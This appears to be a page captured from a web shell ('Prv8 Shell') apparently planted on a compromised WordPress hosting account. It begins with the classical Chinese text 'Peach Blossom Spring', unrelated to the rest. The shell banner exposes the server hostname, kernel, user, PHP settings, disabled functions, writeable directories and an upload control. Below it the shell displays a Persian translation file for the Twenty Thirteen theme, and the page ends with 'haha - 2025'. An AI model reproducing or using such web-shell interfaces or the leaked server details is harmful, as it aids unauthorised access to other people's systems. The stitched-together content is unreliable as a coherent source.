晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /proc/self/root/home/stando/public_html/wp-content/languages/themes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/home/stando/public_html/wp-content/languages/themes/twentythirteen-fa_IR.po
# Translation of Themes - Twenty Thirteen in Persian
# This file is distributed under the same license as the Themes - Twenty Thirteen package.
msgid ""
msgstr ""
"PO-Revision-Date: 2019-11-13 22:59:50+0000\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=1; plural=0;\n"
"X-Generator: GlotPress/2.4.0-alpha\n"
"Language: fa\n"
"Project-Id-Version: Themes - Twenty Thirteen\n"

#. Description of the theme
msgid "The 2013 theme for WordPress takes us back to the blog, featuring a full range of post formats, each displayed beautifully in their own unique way. Design details abound, starting with a vibrant color scheme and matching header images, beautiful typography and icons, and a flexible layout that looks great on any device, big or small."
msgstr "پوسته‌ی ۲۰۱۳ برای وردپرس، ما را به زمان وبلاگ برمی‌گرداند. امکاناتی همچون انواع گوناگون نوشته‌ها و محتوا که هر کدام به زیبایی با ظاهری منحصربه‌فرد به نمایش درمی‌آیند."

#. Theme Name of the theme
msgid "Twenty Thirteen"
msgstr "دو هزار و سیزده"

#. translators: %s: The post title.
#: comments.php:29
msgctxt "comments title"
msgid "One thought on “%s”"
msgstr "یک دیدگاه دربارهٔ «%s»"

#: functions.php:147
msgid "Off-white"
msgstr "شیری"

#: functions.php:142
msgid "Beige"
msgstr "بژ"

#: functions.php:137
msgid "Light Brown"
msgstr "قهوه‌ای روشن"

#: functions.php:132
msgid "Medium Brown"
msgstr "قهوه‌ای متوسط"

#: functions.php:127
msgid "Dark Brown"
msgstr "قهوه‌ای تیره"

#: functions.php:122
msgid "White"
msgstr "سفید"

#: functions.php:117
msgid "Yellow"
msgstr "زرد"

#: functions.php:112
msgid "Light Orange"
msgstr "نارنجی روشن"

#: functions.php:107
msgid "Medium Orange"
msgstr "نارنجی متوسط"

#: functions.php:102
msgid "Red"
msgstr "قرمز"

#: functions.php:97
msgid "Dark Gray"
msgstr "خاکستری تیره"

#: taxonomy-post_format.php:23
msgid "%s Archives"
msgstr "بایگانی %s"

#: tag.php:21
msgid "Tag Archives: %s"
msgstr "بایگانی برچسب: s%"

#: search.php:18
msgid "Search Results for: %s"
msgstr "نتایج جستجوی: %s"

#: inc/custom-header.php:60
msgctxt "header image description"
msgid "Star"
msgstr "ستاره"

#: inc/custom-header.php:55
msgctxt "header image description"
msgid "Diamond"
msgstr "لوزی"

#: inc/custom-header.php:50
msgctxt "header image description"
msgid "Circle"
msgstr "دایره"

#: inc/back-compat.php:37 inc/back-compat.php:48 inc/back-compat.php:64
msgid "Twenty Thirteen requires at least WordPress version 3.6. You are running version %s. Please upgrade and try again."
msgstr "دو هزار و سیزده برای اجرا نیازمند وردپرس ۳.۶ است. شما در حال استفاده از نگارش %s هستید. لطفا وردپرس‌تان را به‌روز کرده و دوباره آزمایش کنید."

#: image.php:62
msgid "Next <span class=\"meta-nav\">&rarr;</span>"
msgstr "بعدی <span class=\"meta-nav\">&larr;</span>"

#: image.php:61
msgid "<span class=\"meta-nav\">&larr;</span> Previous"
msgstr "<span class=\"meta-nav\">&rarr;</span> قبلی"

#: image.php:49
msgid "Full resolution"
msgstr "تمام صفحه"

#: image.php:48
msgid "Link to full-size image"
msgstr "پیوند به عکس با اندازه‌ی واقعی"

#: image.php:29
msgid "<span class=\"attachment-meta\">Published on <time class=\"entry-date\" datetime=\"%1$s\">%2$s</time> in <a href=\"%3$s\" title=\"Return to %4$s\" rel=\"gallery\">%5$s</a></span>"
msgstr "<span class=\"attachment-meta\">انتشار در <time class=\"entry-date\" datetime=\"%1$s\">%2$s</time> در <a href=\"%3$s\" title=\"بازگشتن به %4$s\" rel=\"gallery\">%5$s</a></span>"

#: header.php:45
msgid "Skip to content"
msgstr "رفتن به نوشته‌ها"

#: header.php:44
msgid "Menu"
msgstr "فهرست"

#: functions.php:526
msgid "Permalink to %s"
msgstr "پیوند پایدار به %s"

#: functions.php:518
msgctxt "1: post format name. 2: date"
msgid "%1$s on %2$s"
msgstr "%1$s در %2$s"

#: functions.php:498
msgid "View all posts by %s"
msgstr "نمایش همه‌ی نوشته‌های %s"

#. Translators: used between list items, there is a space after the comma.
#: functions.php:482 functions.php:488
msgid ", "
msgstr "٬ "

#: functions.php:474
msgid "Sticky"
msgstr "سنجاق‌شده"

#: functions.php:456
msgctxt "Next post link"
msgid "%title <span class=\"meta-nav\">&rarr;</span>"
msgstr "%title <span class=\"meta-nav\">&larr;</span>"

#: functions.php:455
msgctxt "Previous post link"
msgid "<span class=\"meta-nav\">&larr;</span> %title"
msgstr "<span class=\"meta-nav\">&rarr;</span> %title"

#: functions.php:452
msgid "Post navigation"
msgstr "ناوبری نوشته"

#: functions.php:425
msgid "Newer posts <span class=\"meta-nav\">&rarr;</span>"
msgstr "نوشته‌های تازه‌تر <span class=\"meta-nav\">&larr;</span>"

#: functions.php:421
msgid "<span class=\"meta-nav\">&larr;</span> Older posts"
msgstr "<span class=\"meta-nav\">&rarr;</span> نوشته‌های کهنه‌تر"

#: functions.php:417
msgid "Posts navigation"
msgstr "پیمایش نوشته‌ها"

#: functions.php:392
msgid "Appears on posts and pages in the sidebar."
msgstr "در ستونِ کنار نوشته‌ها و برگه‌ها نشان داده می‌شود."

#: functions.php:390
msgid "Secondary Widget Area"
msgstr "ناحیه ابزارک دوم"

#: functions.php:380
msgid "Appears in the footer section of the site."
msgstr "در بخش پایین سایت نشان داده می‌شود."

#: functions.php:378
msgid "Main Widget Area"
msgstr "ناحیه اصلی ابزارک"

#: functions.php:363
msgid "Page %s"
msgstr "برگه %s"

#. Translators: If there are characters in your language that are not *
#. supported by Bitter, translate this to 'off'. Do not translate into your *
#. own language.
#: functions.php:232
msgctxt "Bitter font: on or off"
msgid "on"
msgstr "off"

#. Translators: If there are characters in your language that are not *
#. supported by Source Sans Pro, translate this to 'off'. Do not translate *
#. into your own language.
#: functions.php:226
msgctxt "Source Sans Pro font: on or off"
msgid "on"
msgstr "on"

#: functions.php:192
msgid "Navigation Menu"
msgstr "فهرست راهبری"

#: footer.php:25
msgid "Proudly powered by %s"
msgstr "با افتخار نیرو گرفته از %s"

#: content-none.php:27
msgid "It seems we can&rsquo;t find what you&rsquo;re looking for. Perhaps searching can help."
msgstr "این‌طور به‌نظر می‌رسد که ما نمی‌توانیم چیزی که شما به‌دنبالش هستید پیدا کنیم. شاید جستجو کردن راه بهتری باشد."

#: content-none.php:22
msgid "Sorry, but nothing matched your search terms. Please try again with different keywords."
msgstr "متاسفانه جستجوی شما نتیجه‌ای در بر نداشت. با واژگانی دیگر جستجو کنید."

#: content-none.php:18
msgid "Ready to publish your first post? <a href=\"%1$s\">Get started here</a>."
msgstr "میخواهید اولین نوشته‌ی خود را منتشر کنید؟ <a href=\"%1$s\">از اینجا آغاز کنید</a>. "

#: content-none.php:12
msgid "Nothing Found"
msgstr "چیزی پیدا نشد"

#: content-gallery.php:52 content.php:65 content-image.php:48
#: content-video.php:48 content-quote.php:38
msgid "View all % comments"
msgstr "دیدن همه‌ی دیدگاه‌های %"

#: content-gallery.php:52 content.php:65 content-image.php:48
#: content-video.php:48 content-quote.php:38
msgid "One comment so far"
msgstr "یک دیدگاه تاکنون"

#: content-gallery.php:52 content.php:65 content-image.php:48
#: content-video.php:48 content-quote.php:38
msgid "Leave a comment"
msgstr "دیدگاه‌تان را بنویسید:"

#: content-link.php:19 content-chat.php:45 content-gallery.php:55
#: content.php:31 content-image.php:51 content-audio.php:47 page.php:51
#: content-video.php:51 content-quote.php:41 content-status.php:35 image.php:54
#: content-aside.php:36 content-aside.php:44
msgid "Edit"
msgstr "ویرایش"

#: content-link.php:35 content-chat.php:34 content-gallery.php:35
#: content.php:52 content-image.php:34 content-audio.php:35 page.php:41
#: content-video.php:34 content-quote.php:24 content-status.php:24 image.php:83
#: content-aside.php:24
msgid "Pages:"
msgstr "برگه‌ها :"

#. translators: %s: Name of current post
#: content-link.php:28 content-chat.php:27 content-gallery.php:28
#: content.php:45 functions.php:640 content-image.php:27 content-audio.php:28
#: content-video.php:27 content-quote.php:17 content-status.php:17
#: content-aside.php:17
msgid "Continue reading %s <span class=\"meta-nav\">&rarr;</span>"
msgstr "ادامه خواندن %s <span class=\"meta-nav\">&larr;</span>"

#: comments.php:67
msgid "Comments are closed."
msgstr "دیدگاه‌ها غیرفعال هستند."

#: comments.php:62
msgid "Newer Comments &rarr;"
msgstr "دیدگاه‌های تازه‌تر &larr;"

#: comments.php:61
msgid "&larr; Older Comments"
msgstr "&rarr; دیدگاه‌های کهنه‌تر"

#: comments.php:60
msgid "Comment navigation"
msgstr "ناوبری دیدگاه"

#. translators: %1$s: The number of comments. %2$s: The post title.
#: comments.php:35
msgctxt "comments title"
msgid "%1$s thought on &ldquo;%2$s&rdquo;"
msgid_plural "%1$s thoughts on &ldquo;%2$s&rdquo;"
msgstr[0] "%1$s دیدگاه در &ldquo;%2$s&rdquo;"

#: category.php:19
msgid "Category Archives: %s"
msgstr "بایگانی دسته: %s"

#: author.php:31
msgid "All posts by %s"
msgstr "همه‌ی نوشته‌های %s"

#: author-bio.php:30
msgid "View all posts by %s <span class=\"meta-nav\">&rarr;</span>"
msgstr "دیدن همه‌ی نوشته‌های: %s <span class=\"meta-nav\">&rarr;</span>"

#: author-bio.php:26
msgid "About %s"
msgstr "درباره %s"

#: archive.php:36
msgid "Archives"
msgstr "بایگانی"

#: archive.php:34
msgctxt "yearly archives date format"
msgid "Y"
msgstr "Y"

#: archive.php:34
msgid "Yearly Archives: %s"
msgstr "بایگانی سالیانه: %s"

#: archive.php:32
msgctxt "monthly archives date format"
msgid "F Y"
msgstr "F Y"

#: archive.php:32
msgid "Monthly Archives: %s"
msgstr "بایگانی ماهیانه: %s"

#: archive.php:30
msgid "Daily Archives: %s"
msgstr "بایگانی روزانه: %s"

#: 404.php:22
msgid "It looks like nothing was found at this location. Maybe try a search?"
msgstr "به نظر می‌رسد که چیزی که میخواهید در اینجا پیدا نشد. می‌خواهید جستجو کنید؟"

#: 404.php:21
msgid "This is somewhat embarrassing, isn&rsquo;t it?"
msgstr "این خیلی شرم‌آوره، نه؟"

#: 404.php:16
msgid "Not Found"
msgstr "پیدا نشد"

#. Author URI of the theme
#: footer.php:24
msgid "https://wordpress.org/"
msgstr "http://wp-persian.com/"

#. Author of the theme
msgid "the WordPress team"
msgstr "گروه وردپرس فارسی"

#. Theme URI of the theme
msgid "https://wordpress.org/themes/twentythirteen/"
msgstr "https://wordpress.org/themes/twentythirteen/"

haha - 2025